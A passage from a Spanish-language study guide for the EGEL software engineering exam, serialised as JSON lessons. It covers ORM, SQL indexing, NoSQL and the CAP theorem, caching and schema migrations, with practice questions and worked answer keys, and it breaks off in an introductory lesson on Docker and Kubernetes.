funcionalidad de \"Personas que quizás conozcas\" y \"Amigos en común\". Al consultar en la base de datos relacional actual mediante múltiples `JOINs` recursivos sobre una tabla con 200 millones de relaciones de amistad, el servidor experimenta picos del 100% de CPU y tiempos de respuesta superiores a 30 segundos. ¿Qué decisión de arquitectura de persistencia políglota resuelve este requerimiento con la mayor eficiencia computacional?\n- A) Desnormalizar la tabla relacional eliminando todas las claves foráneas y deshabilitando los índices B-Tree.\n- B) Migrar el grafo social de amistades a una Base de Datos de Grafos (como Neo4j), aprovechando la adyacencia libre de índices (*Index-Free Adjacency*) para recorrer conexiones indirectas en tiempo constante respecto al volumen total de la base de datos.\n- C) Ejecutar un script de migración con Flyway para convertir las columnas a tipos BLOB.\n- D) Aumentar el nivel de aislamiento de la base de datos relacional al nivel Serializable.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.4.7 de esta subárea).*\n","title":"3.4.5 Escenarios profesionales de decisión en gestión de datos y persistencia"},{"children":[],"contentMd":"# Repaso Integral y Síntesis de la Subárea 3.4: Gestión de Datos y Persistencia\n\nLa Subárea 3.4 aporta **19 reactivos** al examen EGEL de Ingeniería de Software. Esta sección evalúa el dominio de la persistencia de información en todos sus niveles: desde cómo los frameworks ORM resuelven el desajuste de impedancia entre objetos y tablas relacionales (evitando el catastrófico problema N+1), hasta cómo interpretar un plan de ejecución (`EXPLAIN`), diseñar índices óptimos, seleccionar familias NoSQL bajo el Teorema CAP e implementar estrategias robustas de caché en memoria y migraciones inmutables de esquema.\n\n---\n\n## 1. Mapa Conceptual de Alta Frecuencia EGEL\n\n```\n                    GESTIÓN DE DATOS Y PERSISTENCIA (19 Reactivos)\n                                        │\n     ┌──────────────────┬───────────────┴───────────────┬──────────────────┐\n     ▼                  ▼                               ▼                  ▼\nMapeo ORM y N+1     Optimización SQL y Planes     NoSQL y Teorema CAP   Caché y Migraciones\n• Impedance Mism.   • Table Scan vs Index Seek    • Teorema CAP (CP/AP) • Cache-Aside vs Write-Th.\n• Herencia (Joined) • Nested Loop / Hash / Merge  • Modelo BASE         • Políticas LRU / TTL\n• Lazy vs Eager     • Prefijo más a la izquierda  • 4 Familias NoSQL    • Cache Stampede\n• Problema N+1      • Índices Cubrientes (INCLUDE)• Grafos vs Columnas  • Flyway / Checksums\n```\n\n---\n\n## 2. Tablas Maestras de Decisión Rápida\n\n### A. Mapeo Objeto-Relacional (ORM) y Herencia\n\n| Estrategia / Concepto | Características Principales | Cuándo Seleccionarla | Riesgo / Defecto Crítico |\n| :--- | :--- | :--- | :--- |\n| **Single Table** | Una sola tabla física con columna discriminadora (`DTYPE`). | Jerarquías pequeñas donde las consultas polimórficas deben ser ultrarrápidas. | Las columnas exclusivas de subclases deben admitir valores `NULL`. |\n| **Joined Table** | Tabla para la clase base y tablas para cada subclase vinculadas por clave foránea (`FK`). | **Jerarquías estrictamente normalizadas (3FN)** con restricciones `NOT NULL`. | Consultas polimórficas requieren múltiples `JOINs` que ralentizan la lectura. |\n| **Problema N+1** | 1 consulta para $N$ padres + $N$ consultas secundarias para los hijos. | Diagnóstico: Inspeccionar logs de SQL con sentencias repetitivas en bucle. | Colapso del pool de conexiones; se resuelve con **`JOIN FETCH`** o `@BatchSize`. |\n\n### B. Optimización de Consultas SQL y Planes de Ejecución\n\n- **Table Scan / Seq Scan:** Lee todas las páginas de disco secuencialmente ($O(N)$); **inaceptable en tablas grandes con filtros selectivos**.\n- **Index Seek:** Búsqueda puntual navegando el B-Tree ($O(\\log N)$); **el método óptimo**.\n- **Regla del Prefijo Más a la Izquierda:** Un índice compuesto sobre `(A, B, C)` solo es utilizable si la consulta filtra por `A`, o por `A` y `B`, o por `A`, `B` y `C`. Si falta `A`, el motor descarta el índice.\n- **Índice Cubriente (Covering Index):** Contiene todas las columnas requeridas por la consulta en el B-Tree (`INCLUDE`), permitiendo un **`Index-Only Scan`** sin saltos a disco (*Table Lookups*).\n- **Antipatrones SQL:** Usar funciones escalares sobre columnas en el `WHERE` (`WHERE YEAR(fecha) = 2026`) o comodines al inicio (`LIKE '%texto'`) **anula el uso del índice B-Tree**.\n\n### C. Teorema CAP y Familias NoSQL\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        MATRIZ CAP Y FAMILIAS NoSQL                     │\n│                                                                        │\n│   • SISTEMAS CP: Priorizan Consistencia (rechazan petición si hay red  │\n│     rota). Ejemplos: MongoDB, HBase, CockroachDB.                      │\n│                                                                        │\n│   • SISTEMAS AP: Priorizan Disponibilidad (responden con dato local    │\n│     aunque esté desactualizado; consistencia eventual).                │\n│     Ejemplos: Apache Cassandra, Amazon DynamoDB, CouchDB.              │\n│                                                                        │\n│   • DOCUMENTALES (MongoDB): JSON semiestructurado, catálogo de prod.   │\n│   • CLAVE-VALOR (Redis): $O(1)$ en RAM, sesiones, carritos, cachés.    │\n│   • COLUMNAS ANCHAS (Cassandra): Series temporales IoT masivas.        │\n│   • GRAFOS (Neo4j): Relaciones complejas, fraudes, redes sociales.     │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### D. Estrategias de Caching y Migraciones de Esquema\n\n| Estrategia de Caché | Mecánica de Escritura | Consistencia | Riesgo Principal |\n| :--- | :--- | :--- | :--- |\n| **Cache-Aside** | La aplicación escribe en BD e invalida/actualiza la clave en caché. | Eventual | *Cache Miss* inicial y riesgo de datos obsoletos si no hay TTL. |\n| **Write-Through** | Escribe síncronamente en Caché y en BD al mismo tiempo antes de confirmar. | Fuerte | Mayor latencia en operaciones de escritura masiva. |\n| **Write-Behind** | Escribe solo en Caché y vuelca a la BD de forma asíncrona en lotes. | Débil / Eventual | **Pérdida definitiva de datos** si el nodo de RAM se apaga antes de persistir. |\n\n- **Cache Stampede (Thundering Herd):** Avalancha masiva sobre la BD cuando expira una clave popular; se mitiga con **Cerrojos Distribuidos (Mutex)** o expiración probabilística en background.\n- **Migraciones Versionadas (Flyway/Liquibase):** Scripts inmutables con nomenclatura secuencial (`V1`, `V2`). Los scripts ya ejecutados **jamás se modifican** en Git (el Checksum criptográfico previene discrepancias).\n\n---\n\n## 3. Checklist de Preparación Pre-Examen Subárea 3.4\n\nAntes de pasar a la Subárea 3.5, valida que dominas con fluidez:\n- [ ] Reconocer el código causante de un problema N+1 y saber cómo corregirlo con `JOIN FETCH`.\n- [ ] Explicar por qué `WHERE YEAR(fecha) = 2026` genera un `Table Scan` y cómo convertirlo a un rango eficiente.\n- [ ] Aplicar la **Regla del Prefijo Más a la Izquierda** en índices compuestos de múltiples columnas.\n- [ ] Justificar la elección entre un sistema **CP** (Consistencia) y uno **AP** (Disponibilidad) ante caídas de red bajo el Teorema CAP.\n- [ ] Seleccionar la familia NoSQL correcta (Documentos, Clave-Valor, Columnas o Grafos) según la naturaleza de la entidad.\n- [ ] Saber por qué los scripts de migración de base de datos ya aplicados son inmutables en herramientas como Flyway.\n\n---\n\n## 4. Mini-Simulador de Diagnóstico Rápido\n\n### Reactivo Muestra 1\nAl analizar la lentitud de una aplicación empresarial desarrollada con un ORM, se detecta que al consultar la lista de 500 empleados para un reporte de nómina, el sistema ejecuta 1 consulta para traer a los empleados y luego dispara 500 consultas individuales consecutivas a la tabla de departamentos para obtener el nombre del área de cada empleado. ¿Cuál es la modificación requerida en la consulta del repositorio para optimizar el rendimiento y erradicar este problema de raíz?\n- A) Cambiar el tipo de dato de la clave primaria a un entero de 64 bits.\n- B) Modificar la consulta para aplicar una unión ansiosa explícita mediante `JOIN FETCH e.departamento`, permitiendo que el motor relacional recupere los 500 empleados y sus respectivos departamentos en una única consulta SQL unificada.\n- C) Reemplazar la base de datos relacional por un archivo XML plano en el disco local.\n- D) Reducir el nivel de aislamiento de la transacción a Read Uncommitted.\n\n### Reactivo Muestra 2\nUna plataforma financiera requiere construir un módulo de detección de fraudes en tiempo real que analice transferencias bancarias buscando ciclos o redes ocultas de lavado de dinero (\"el cliente A transfirió a B, B a C, C a D, y D a A\"). Si se intentara resolver este análisis sobre una base de datos relacional tradicional, se requerirían múltiples sentencias recursivas con más de siete operaciones `JOIN` sucesivas sobre tablas con cientos de millones de tuplas, saturando la memoria y la CPU del servidor. ¿Qué familia de bases de datos NoSQL resuelve este problema con máxima eficiencia mediante adyacencia libre de índices (*Index-Free Adjacency*)?\n- A) Base de datos NoSQL de Documentos (como MongoDB).\n- B) Base de datos NoSQL de Grafos (como Neo4j).\n- C) Base de datos NoSQL Clave-Valor en disco (como Memcached).\n- D) Base de datos NoSQL de Columnas Anchas (como Apache Cassandra).\n\n*(Verifica tus respuestas y análisis detallado en la siguiente lección 3.4.7).*\n","title":"3.4.6 Repaso integral y síntesis: Subárea 3.4"},{"children":[],"contentMd":"# Soluciones Razonadas y Análisis de Distractores — Subárea 3.4\n\nEsta lección contiene la resolución técnica exhaustiva, los fundamentos teóricos y el desglose de opciones incorrectas para cada uno de los reactivos de evaluación de la **Subárea 3.4: Gestión de datos y persistencia**. Analiza con precisión estos fundamentos para afianzar tu criterio frente a preguntas de bases de datos relacionales, NoSQL, ORM y optimización en el EGEL.\n\n---\n\n## 1. Soluciones: Mapeo Objeto-Relacional y Problema N+1 (Lección 3.4.1)\n\n### Pregunta 1\n- **Enunciado:** Portal de noticias donde cargar 20 artículos ejecuta 1 consulta para los artículos seguida de 20 consultas individuales a la tabla de autores.\n- **Respuesta Correcta:** **B) Ocurrió el Problema de Consultas N+1; se soluciona modificando la consulta para realizar una carga ansiosa controlada mediante `JOIN FETCH` (o su equivalente en el ORM), obteniendo los artículos y sus autores en una única consulta SQL unificada.**\n- **Justificación Técnica:** Describe el problema paradigmático de las consultas N+1: el ORM ejecuta una consulta inicial para obtener $N$ entidades padre (los 20 artículos) y, debido a que la relación con el autor está configurada como carga perezosa (*Lazy Loading*), dispara una consulta secundaria por cada iteración sobre el autor ($N = 20$). La solución canónica de ingeniería es instruir al ORM en la consulta específica mediante `JOIN FETCH` para que genere una sola sentencia con `INNER JOIN`, resolviendo todo en 1 solo viaje de red.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Una lectura fantasma es una anomalía de concurrencia donde transacciones simultáneas insertan filas en un rango; no tiene relación con el comportamiento de bucles de consultas en un ORM.\n  - *C es incorrecta:* Un interbloqueo ocurre cuando dos procesos retienen recursos disputados en espera mutua, no por la emisión secuencial de consultas de lectura.\n  - *D es incorrecta:* No es una fuga de memoria; invocar el recolector de basura no modifica las consultas generadas por el ORM.\n\n### Pregunta 2\n- **Enunciado:** Esquema relacional para jerarquía de cuentas bancarias que exige normalización estricta en 3FN y columnas específicas de subclases obligatoriamente `NOT NULL`.\n- **Respuesta Correcta:** **B) Estrategia de Tabla por Clase con Claves Foráneas (*Joined Table*).**\n- **Justificación Técnica:** En la estrategia **Joined Table**, la clase base genera su propia tabla con las columnas comunes y cada subclase genera una tabla independiente con sus columnas específicas, vinculadas mediante una clave primaria compartida que actúa como clave foránea (`FK`). Esto permite que la base de datos esté formalmente normalizada en 3FN y que cada tabla de subclase declare sus columnas como `NOT NULL` estricto en el motor relacional.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* En *Single Table*, todos los atributos de todas las subclases conviven en una sola tabla; por ende, las columnas específicas deben permitir valores `NULL` obligatoriamente (para las filas que correspondan a otros subtipos), violando la restricción de integridad requerida.\n  - *C y D son incorrectas:* Opciones absurdas que violan los requerimientos de persistencia relacional empresarial.\n\n---\n\n## 2. Soluciones: Optimización de Consultas SQL e Índices (Lección 3.4.2)\n\n### Pregunta 1\n- **Enunciado:** Consulta lenta con `WHERE MONTH(fecha_emision) = 5 AND YEAR(fecha_emision) = 2026;` que causa un `Seq Scan` a pesar de tener un índice B-Tree en `fecha_emision`.\n- **Respuesta Correcta:** **B) El uso de funciones escalares (`MONTH`, `YEAR`) directamente sobre la columna en la cláusula `WHERE` impide que el optimizador utilice el índice; se debe reescribir la condición como un rango temporal continuo: `WHERE fecha_emision \u003e= '2026-05-01' AND fecha_emision \u003c '2026-06-01'`.**\n- **Justificación Técnica:** Un índice B-Tree almacena los valores de la columna ordenados de forma natural. Cuando se aplica una función escalar como `MONTH(columna)` o `YEAR(columna)`, el motor no puede comparar directamente el argumento con los nodos del árbol; se ve obligado a evaluar la función sobre **cada una de las 8 millones de filas**, descartando el índice y recurriendo a un costoso escaneo secuencial (*Seq Scan*). Al reescribir la condición como un rango temporal puro de fechas literales, el optimizador localiza el límite inferior en $O(\\log N)$ mediante un `Index Seek` inmediato.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El índice no está dañado; el motor lo ignora deliberadamente debido a la función escalar aplicada en la consulta.\n  - *C es incorrecta:* Todas las bases de datos relacionales soportan filtrado de fechas con altísima eficiencia si la consulta se redacta como un rango sargable (*Search Argument Able*).\n  - *D es incorrecta:* La cantidad de columnas en el `SELECT` no es la causante del `Seq Scan` en la evaluación del predicado `WHERE`.\n\n### Pregunta 2\n- **Enunciado:** Índice compuesto sobre `(departamento_id, sucursal_id, puesto_id)` donde una consulta filtra exclusivamente por `WHERE sucursal_id = 10 AND puesto_id = 4;`.\n- **Respuesta Correcta:** **B) No podrá utilizar el índice compuesto para una búsqueda puntual eficiente y recurrirá a un escaneo completo de tabla (*Table Scan*), debido a que la consulta omitió la columna principal del prefijo más a la izquierda (`departamento_id`).**\n- **Justificación Técnica:** Por la **Regla del Prefijo Más a la Izquierda (*Leftmost Prefix Rule*)**, un índice compuesto solo puede utilizarse si las condiciones de búsqueda incluyen de forma contigua las columnas empezando desde la primera. Dado que el B-Tree está ordenado en primer nivel por `departamento_id`, buscar por `sucursal_id` sin especificar el departamento es análogo a buscar un número en un directorio telefónico conociendo solo el segundo apellido: el orden del libro no ayuda y se debe leer página por página (Table Scan).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Viola la mecánica de ordenamiento del B-Tree jerárquico.\n  - *C es incorrecta:* El optimizador jamás altera la estructura física de las tablas para responder a una consulta de lectura.\n  - *D es incorrecta:* Las consultas de lectura no generan interbloqueos con los metadatos de índices.\n\n---\n\n## 3. Soluciones: Bases NoSQL y Teorema CAP (Lección 3.4.3)\n\n### Pregunta 1\n- **Enunciado:** Partición de red transatlántica donde el sistema permite que los usuarios en Europa sigan operando y agregando productos aceptando datos de stock con ligero retraso de sincronización.\n- **Respuesta Correcta:** **B) Sistema AP (Disponibilidad y Tolerancia a Particiones).**\n- **Justificación Técnica:** De acuerdo con el Teorema CAP, cuando ocurre una partición de red ($P$), si el sistema decide **priorizar la disponibilidad ($A$)** respondiendo a las peticiones del usuario aun a costa de entregar datos temporalmente no consistentes (consistencia eventual), el sistema se clasifica formalmente como **AP**. Un sistema CP habría rechazado las peticiones arrojando errores para evitar inconsistencias.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Un sistema CP prioriza la consistencia fuerte; ante la partición de red se habría negado a operar en Europa hasta restablecer el enlace.\n  - *C es incorrecta:* Los sistemas CA teóricos no toleran particiones de red; no aplican a sistemas distribuidos transcontinentales.\n  - *D es incorrecta:* Es una plataforma web interactiva distribuida en tiempo real, no un proceso por lotes.\n\n### Pregunta 2\n- **Enunciado:** Análisis policial de patrones delictivos recorriendo hasta seis niveles de relaciones complejas indirectas entre sospechosos, vehículos y cuentas.\n- **Respuesta Correcta:** **C) Base de datos de Grafos (como Neo4j).**\n- **Justificación Técnica:** Las bases de datos de grafos están optimizadas específicamente para transitar relaciones complejas e interconectadas. Gracias a la **adyacencia libre de índices (*Index-Free Adjacency*)**, cada nodo almacena punteros directos en memoria hacia sus nodos vecinos, permitiendo recorrer 6 o más grados de separación en milisegundos con complejidad proporcional al subgrafo visitado, donde un motor relacional requeriría 6 costosos `JOINs` masivos que colapsarían el servidor.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Los almacenes Clave-Valor solo permiten búsquedas puntuales por clave única; no tienen concepto de relaciones ni recorridos de enlaces.\n  - *B es incorrecta:* Una base relacional sin índices sobre millones de registros tardaría horas en procesar uniones múltiples.\n  - *D es incorrecta:* Las bases de columnas anchas están optimizadas para escrituras masivas de series temporales por clave de partición, no para navegación de grafos relacionales profundos.\n\n---\n\n## 4. Soluciones: Estrategias de Caching y Migraciones (Lección 3.4.4)\n\n### Pregunta 1\n- **Enunciado:** Avalancha de peticiones a la base de datos relacional en el milisegundo exacto en que expira el TTL del catálogo de ofertas en caché.\n- **Respuesta Correcta:** **B) Ocurrió una Avalancha de Caché (*Cache Stampede / Thundering Herd*); se soluciona implementando un cerrojo distribuido (Mutex) para que solo una petición regenere la caché mientras las demás esperan, o mediante expiración probabilística en segundo plano.**\n- **Justificación Técnica:** El fenómeno donde la expiración del TTL de una clave de alto tráfico (*Hot Key*) provoca que miles de peticiones simultáneas sufran un *Cache Miss* y golpeen concurrentemente la base de datos relacional se denomina formalmente **Cache Stampede (o Thundering Herd)**. Para mitigarlo, se utiliza un cerrojo distribuido en Redis (para que solo el primer hilo consulte la base de datos y repueble la caché mientras los demás esperan) o técnicas de recarga asíncrona anticipada en segundo plano (*Probabilistic Early Expiration*).\n- **Análisis de Distractores:**\n  - *A es incorrecta:* No hay fuga de memoria; el problema es la sobrecarga transaccional de consultas concurrentes en la base de datos.\n  - *C es incorrecta:* No es una condición de carrera de memoria de pila; la caché es externa y compartida.\n  - *D es incorrecta:* Redis no es una base de datos relacional y no utiliza normalización en tercera forma normal.\n\n### Pregunta 2\n- **Enunciado:** Desarrollador que edita manualmente el script `V3__crear_tabla_pedidos.sql` en Git después de que ya fue aplicado en la base de datos de producción.\n- **Respuesta Correcta:** **B) Flyway detectará que la suma de comprobación criptográfica (*Checksum*) del archivo `V3` en Git no coincide con el registrado previamente en la tabla `flyway_schema_history`, abortando la migración con un error para prevenir inconsistencias de esquema.**\n- **Justificación Técnica:** Las herramientas de migración de esquema como código garantizan la inmutabilidad de la historia. Cuando un script se ejecuta, Flyway calcula su hash SHA-256 (Checksum) y lo almacena en la tabla de metadatos. Si el script fuente es modificado posteriormente en el repositorio, Flyway detecta la discrepancia y detiene el despliegue de inmediato para evitar que el código asuma un esquema diferente al que realmente se ejecutó.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Flyway jamás sobreescribe o re-ejecuta silenciosamente un script versionado ya registrado.\n  - *C es incorrecta:* Las herramientas de migración no eliminan bases de datos ante fallos de verificación de checksums.\n  - *D es incorrecta:* Flyway es un gestor de migraciones SQL, no un transformador de paradigmas a NoSQL.\n\n---\n\n## 5. Soluciones: Escenarios de Decisión de Persistencia (Lección 3.4.5)\n\n### Pregunta 1\n- **Enunciado:** Microservicio que debe persistir una tarjeta en base de datos local y garantizar la emisión de un evento a Kafka ante caídas de red sin transacciones distribuidas 2PC.\n- **Respuesta Correcta:** **B) Patrón Outbox Transaccional (*Transactional Outbox*), registrando el evento en una tabla auxiliar de la misma base de datos dentro de la misma transacción ACID local de la tarjeta, para ser leído y publicado al broker por un proceso desacoplado.**\n- **Justificación Técnica:** El patrón Outbox resuelve el problema de la doble escritura (*Dual-Write*) aprovechando la atomicidad de la base de datos local: la entidad de negocio (`Tarjeta`) y el mensaje del evento se insertan juntos dentro de la misma transacción ACID local. Si la transacción se confirma, el evento queda garantizado en la tabla `outbox`. Un proceso desacoplado (como Debezium con Change Data Capture) lee la tabla outbox y envía el evento a Kafka de forma asíncrona y resiliente, logrando consistencia sin 2PC.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El patrón Singleton no resuelve la sincronización transaccional distribuida entre una base de datos y un broker de red.\n  - *C es incorrecta:* Usar mensajes UDP efímeros no garantiza la entrega ni la persistencia requerida en operaciones bancarias.\n  - *D es incorrecta:* Bloquear todo el clúster de microservicios destruiría la disponibilidad y escalabilidad del sistema.\n\n### Pregunta 2\n- **Enunciado:** Redes sociales con 200 millones de amistades donde consultas de amigos en común con múltiples JOINs tardan más de 30 segundos y saturan la CPU.\n- **Respuesta Correcta:** **B) Migrar el grafo social de amistades a una Base de Datos de Grafos (como Neo4j), aprovechando la adyacencia libre de índices (*Index-Free Adjacency*) para recorrer conexiones indirectas en tiempo constante respecto al volumen total de la base de datos.**\n- **Justificación Técnica:** Los problemas de conectividad de redes con múltiples grados de separación (\"amigos de amigos\") representan el caso de uso por excelencia de las bases de datos de grafos. Al modelar personas como nodos y amistades como aristas directas con punteros en memoria, la complejidad del recorrido depende del número de conexiones del usuario, no del tamaño de la tabla de 200 millones de filas, reduciendo el tiempo de 30 segundos a milisegundos.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Desnormalizar sin claves ni índices provocaría corrupción de datos y haría las búsquedas aún más lentas.\n  - *C es incorrecta:* Convertir datos a BLOBs binarios impide realizar búsquedas indexadas y consultas relacionales.\n  - *D es incorrecta:* Aumentar el aislamiento a Serializable aumentaría drásticamente la contención de cerrojos empeorando los tiempos de respuesta.\n\n---\n\n## 6. Soluciones: Mini-Simulador de Diagnóstico (Lección 3.4.6)\n\n### Reactivo Muestra 1\n- **Enunciado:** Consulta de nómina de 500 empleados que dispara 500 consultas individuales para obtener el nombre del departamento de cada uno.\n- **Respuesta Correcta:** **B) Modificar la consulta para aplicar una unión ansiosa explícita mediante `JOIN FETCH e.departamento`, permitiendo que el motor relacional recupere los 500 empleados y sus respectivos departamentos en una única consulta SQL unificada.**\n- **Justificación Técnica:** El escenario describe una manifestación clásica del problema N+1 en un ORM. La solución definitiva consiste en utilizar `JOIN FETCH` (o su equivalente `Include()` en Entity Framework) en la consulta del repositorio, forzando al motor a realizar un `INNER JOIN` para traer en una sola sentencia SQL tanto los empleados como sus departamentos asociados, pasando de 501 consultas a solo 1 consulta eficiente.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* El tipo de entero de la clave primaria no altera la cantidad de consultas generadas por el ORM.\n  - *C es incorrecta:* Almacenar nóminas en XML plano en disco es inviable en rendimiento y seguridad.\n  - *D es incorrecta:* El nivel de aislamiento relacional no influye en las consultas generadas por el framework de mapeo objeto-relacional.\n\n### Reactivo Muestra 2\n- **Enunciado:** Detección de ciclos de lavado de dinero en transferencias que exigiría más de siete JOINs recursivos sobre cientos de millones de tuplas.\n- **Respuesta Correcta:** **B) Base de datos NoSQL de Grafos (como Neo4j).**\n- **Justificación Técnica:** La detección de ciclos y caminos cerrados en redes complejas ($A \\to B \\to C \\to D \\to A$) es la fortaleza nativa de las bases de datos de grafos. Su motor de consulta optimizado para grafos (como Cypher en Neo4j) recorre los punteros físicos de las relaciones en memoria sin el costo exponencial de los algoritmos de unión relacionales (*Hash Joins / Nested Loops*), resolviendo la detección de patrones de fraude en milisegundos.\n- **Análisis de Distractores:**\n  - *A es incorrecta:* Las bases documentales almacenan árboles jerárquicos independientes; no están diseñadas para recorridos cíclicos profundos entre documentos.\n  - *C es incorrecta:* Los almacenes clave-valor carecen de noción de relaciones y topología de red.\n  - *D es incorrecta:* Cassandra optimiza particiones por clave primaria; no soporta recorridos recursivos entre particiones distribuidas.\n","title":"3.4.7 Soluciones razonadas y análisis de distractores: Subárea 3.4"}],"contentMd":"","title":"3.4 Gestión de datos y persistencia"},{"children":[{"children":[],"contentMd":"# Contenedores Docker, Optimización de Imágenes y Orquestación con Kubernetes\n\nLa virtualización ligera basada en contenedores ha transformado el ciclo de vida del software, eliminando el clásico problema de \"en mi máquina funciona\" y permitiendo empaquetar una aplicación con todas sus dependencias y binarios en una unidad portable e inmutable. En el examen EGEL de Ingeniería de Software, la Subárea 3.5 (**Plataformas de desarrollo y arquitecturas de ejecución - 20 reactivos**) evalúa las diferencias técnicas entre máquinas virtuales y contenedores, las buenas prácticas de construcción en Docker (*Multi-Stage Builds*) y los conceptos fundamentales de orquestación en clústeres con Kubernetes (Pods, Deployments, Services y Probes de salud).\n\n---\n\n## 1. Contenedores vs Máquinas Virtuales: Mecánica de Virtualización\n\nComprender la diferencia arquitectónica entre la virtualización por hardware (hipervisores) y la virtualización a nivel de sistema operativo (contenedores) es una pregunta canónica en evaluaciones de ingeniería:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   MÁQUINAS VIRTUALES VS CONTENEDORES                   │\n│                                                                        │\n│   MÁQUINA VIRTUAL (Hipervisor / Hardware):                             │\n│   ┌────────────────────────────────────────────────────────────────┐   │\n│   │ App 1 (Libs + Binarios)       │ App 2 (Libs + Binarios)        │   │\n│   ├───────────────────────────────┼────────────────────────────────┤   │\n│   │ Sistema Operativo Huésped 1   │ Sistema Operativo Huésped 2    │   │\n│   │ (Guest OS completo: Gigabytes)│ (Guest OS completo: Gigabytes) │   │\n│   ├───────────────────────────────┴────────────────────────────────┤   │\n│   │ Hipervisor (Tipo 1 o Tipo 2: KVM, ESXi, Hyper-V, VirtualBox)   │   │\n│   ├────────────────────────────────────────────────────────────────┤   │\n│   │ Hardware Físico (CPU, RAM, Disco, NIC)                         │   │\n│   └────────────────────────────────────────────────────────────────┘   │\n│                                                                        │\n│   CONTENEDOR (Aislamiento de Kernel OS):                               │\n│   ┌────────────────────────────────────────────────────────────────┐   │\n│   │ App 1 (Libs + Binarios)       │ App 2 (Libs + Binarios)        │   │\n│   ├───────────────────────────────┴────────────────────────────────┤   │\n│   │ Motor de Contenedores (Docker Engine / containerd)             │   │\n│   ├────────────────────────────────────────────────────────────────┤   │\n│   │ KERNEL COMPARTIDO DEL SISTEMA OPERATIVO HOST (Linux cgroups/ns)│   │\n│   ├────────────────────────────────────────────────────────────────┤   │\n│   │ Hardware Físico                                                │   │\n│   └────────────────────────────────────────────────────────────────┘   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Tabla Comparativa de Arquitectura\n\n| Dimensión | Máquinas Virtuales (VMs) | Contenedores (Docker) |\n| :--- | :--- | :--- |\n| **Nivel de Virtualización** | **Nivel de Hardware:** El hipervisor emula hardware virtual completo (BIOS, CPU virtual, controladores virtuales de disco y red). | **Nivel de Sistema Operativo:** Todos los contenedores comparten el **mismo Kernel** del sistema operativo anfitrión (*Host OS*). |\n| **Mecanismo de Aislamiento** | Aislamiento fuerte por hardware mediante instrucciones de CPU (Intel VT-x / AMD-V) y memoria virtual segregada. | Aislamiento por software en el Kernel de Linux mediante **Namespaces** (aisla PID, red, montajes, usuarios) y **Control Groups (cgroups)** (limita CPU, RAM, I/O). |\n| **Tamaño de la Imagen** | **Gigabytes (GBs):** Incluye un kernel completo, utilerías de sistema operativo, gestores de paquetes y servicios del sistema. | **Megabytes (MBs):** Solo contiene la aplicación compilada y las bibliotecas mínimas de ejecución. |\n| **Tiempo de Arranque** | Minutos (debe arrancar el kernel huésped y todos los servicios de init/systemd). | **Milisegundos o segundos:** Arranca directamente como un proceso ordinario del sistema operativo anfitrión. |\n| **Consumo de Memoria RAM** | Alto (cada VM reserva gigabytes fijos de RAM para su sistema operativo huésped). | Mínimo (solo consume la memoria real que utiliza el proceso de la aplicación). |\n\n---\n\n## 2. Anatomía de un Dockerfile y Construcciones Multietapa (Multi-Stage Builds)\n\nUna imagen de Docker es una plantilla de solo lectura construida a partir de una serie de **capas superpuestas (*Union File System*)**. Cada instrucción en un `Dockerfile` (`RUN`, `COPY`) genera una nueva capa inmutable cacheada:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│               EL ANTIPATRÓN VS MULTI-STAGE BUILDS EN DOCKER            │\n│                                                                        │\n│   ANTIPATRÓN (Imagen gigantesca e insegura):                           │\n│   FROM maven:3.9-jdk-17                                                │\n│   COPY . /app                                                          │\n│   RUN mvn clean package ──▶ Genera .jar pero conserva TODO el SDK,    │\n│   ENTRYPOINT [\"java\", \"-jar\", \"app.jar\"] el compilador, Maven y código│\n│   Resultado: Imagen de 950 MB repleta de herramientas innecesarias y   │\n│   vulnerabilidades de compilación en producción.                       │\n│                                                                        │\n│   BUENA PRÁCTICA: MULTI-STAGE BUILD (Imagen ligera y segura):          │\n│   # ETAPA 1: Compilación (Build Stage)                                 │\n│   FROM maven:3.9-eclipse-temurin-17 AS builder                         │\n│   WORKDIR /build                                                       │\n│   COPY pom.xml .                                                       │\n│   RUN mvn dependency:go-offline                                        │\n│   COPY src ./src                                                       │\n│   RUN mvn clean package -DskipTests                                    │\n│                                                                        │\n│   # ETAPA 2: Runtime Mínimo de Producción                             │\n│   FROM eclipse-temurin:17-jre-alpine                                  │\n│   WORKDIR /app                                                         │\n│   COPY --from=builder /build/target/app.jar app.jar                    │\n│   USER 1001                                                            │\n│   ENTRYPOINT [\"java\", \"-jar\", \"app.jar\"]                               │\n│   Resultado: Imagen de 120 MB que NO contiene código fuente, Maven     │\n│   ni compiladores. Solo el JRE mínimo en un usuario no root.           │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Reglas de Oro de Seguridad y Eficiencia en Contenedores\n1. **Ejecutar como Usuario No Root (`USER nonroot`):** Si un atacante logra escapar de un contenedor ejecutado como `root`, obtiene control total del kernel anfitrión.\n2. **Aprovechar la Caché de Capas:** Copiar primero los manifiestos de dependencias (`pom.xml`, `package.json`) y descargar las librerías *antes* de copiar el código fuente (`COPY src`). Así, si solo cambia una línea de código, Docker no descarga de nuevo todas las librerías.\n3. **Imágenes Mínimas (Alpine / Distroless):** Utilizar imágenes base reducidas para minimizar la superficie de ataque y los CVEs.\n\n---\n\n## 3. Orquestación con Kubernetes: Conceptos y Primitivas Cardinales\n\nEjecutar contenedores aislados con `docker run` es insuficiente para sistemas empresariales que requieren alta disponibilidad, auto-escalado, balanceo de carga y autoreparación. **Kubernetes (K8s)** es el estándar de la industria para la orquestación automatizada de contenedores.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   ARQUITECTURA DE OBJETOS EN KUBERNETES                │\n│                                                                        │\n│   [ INGRESS ] (Enrutador HTTP / Controlador de Dominio externo)        │\n│        │                                                               │\n│        ▼                                                               │\n│   [ SERVICE ] (IP virtual estable y balanceador de carga interno)      │\n│        │                                                               │\n│        ▼                                                               │\n│   